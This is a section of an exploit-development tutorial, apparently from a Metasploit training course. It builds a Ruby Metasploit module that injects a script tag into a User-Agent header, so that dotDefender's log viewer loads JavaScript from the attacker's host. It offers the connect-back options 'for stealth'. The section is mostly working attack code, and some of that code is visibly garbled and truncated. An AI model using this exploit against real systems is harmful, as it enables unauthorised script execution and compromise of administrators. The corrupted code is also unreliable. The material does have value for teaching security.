Making a Log Entry a11y.text Making a Log Entry In this section we are going to take a look at sending a GET request to the target. This GET request will contain a User-Agent field with Javascript appended to connect back to Metasploit. The changes to the exploit are highlighted. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ##

```
require 'msf/core'

class Metasploit3  "dotDefender  %q{
                This module exploits a vulnerability found in dotDefender.
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
           [
              'John Dos',   #Initial remote execution discovery
              'rAWjAW'     #Everything else
           ],
        'References'     =>
           [
              ['EDB', '14310'],
              ['URL', 'http://www.exploit-db.com/exploits/14310/']
           ],
        'Arch'           => ARCH_CMD,
```

```
    'Compat'          =>
  {
            'PayloadType' => 'cmd'
  },
          'Platform'       => ['unix','linux'],
          'Targets'        =>
             [
                ['dotDefender  false,
          'DefaultTarget'  => 0))

        register_options(
          [

           OptString.new('TRIGGERLOG',  [true, 'This is what is used to trigger a log
entry.','<script>alert(\'xss\')>/script>']),
      OptString.new('SITENAME',  [true, 'This is usually the same as RHOST but is available as an
option if different']),
      OptString.new('LHOST',  [true, 'This is the IP to connect back to for the javascript','0.0.0.0']),
           OptString.new('URIPATH', [true, 'This is the URI path that will be created for the javascript
hosted file','DotDefender.js']),
           OptString.new('SRVPORT', [true, 'This is the port for the javascript to connect back to','80']),
          ], self.class)
      end


 def exploit
```

```
  resp = send_request_raw({
'uri'     => "http://#{rhost}/",
'version' => '1.1',
'method' => 'GET',
'headers' =>
  {
  'Content-Type' => 'application/x-www-form-urlencoded',
        'User-Agent' => "Mozilla Firefox <script language=\"JavaScript\"
src=\"http://#{datastore['lhost']}:#{datastore['SRVPORT']}/#{datastore['uripath']}\">/script>",
        },
      'data' => "#{datastore['TRIGGERLOG']}"
  })

 super

end
```

end Register Options a11y.text Register Options OptString.new('TRIGGERLOG', [true, 'This is what is used to trigger a log entry.','<script>alert(\'xss\')>/script>']), OptString.new('SITENAME', [true, 'This is usually the same as RHOST but is available as an option if different'.'http://0.0.0.0/']), OptString.new('LHOST', [true, 'This is the IP to connect back to for the javascript','0.0.0.0']), OptString.new('URIPATH', [true, 'This is the URI path that will be created for the javascript hosted file','DotDefender.js']), OptString.new('SRVPORT', [true, 'This is the port for the javascript to connect back to','80']) When creating our exploit we will need some additional options presented to the user and set some default

values on required arguments. We will have more context of these as we continue analyzing the exploit but these serve as a good reference to what purpose each has. Exploit Get Request a11y.text Exploit Get Request resp = send_request_raw({

'uri' => "http://#{rhost}/",

'version' => '1.1',

'method' => 'GET', Here we are creating the exploit GET request that will host the User-Agent javascript. We use the variable #{rhost} as the targeted machine. 'headers' =>

{

'Content-Type' => 'application/x-www-form-urlencoded',

'User-Agent' => "Mozilla Firefox <script language=\"JavaScript\" src=\"http://#{datastore['lhost']}:#{datastore['SRVPORT']}/#{datastore['uripath']}\">/script>",

}, This is where the main part of the exploit comes into play. The variables SRVPORT , lhost , and uripath are used to allow as much customization and stealth as possible. Exploit Data a11y.text Exploit Data 'data' => "#{datastore['TRIGGERLOG']}" The above code will set the variable TRIGGERLOG to the data of the GET request so that we can actually trigger the log entry in the dotDefender software. Super a11y.text Super super The use of â€œsuperâ€• will allow us to run both sets of code when the actual javascript server host is added in the next section. Next Hosting the JavaScript Prev Skeleton Creation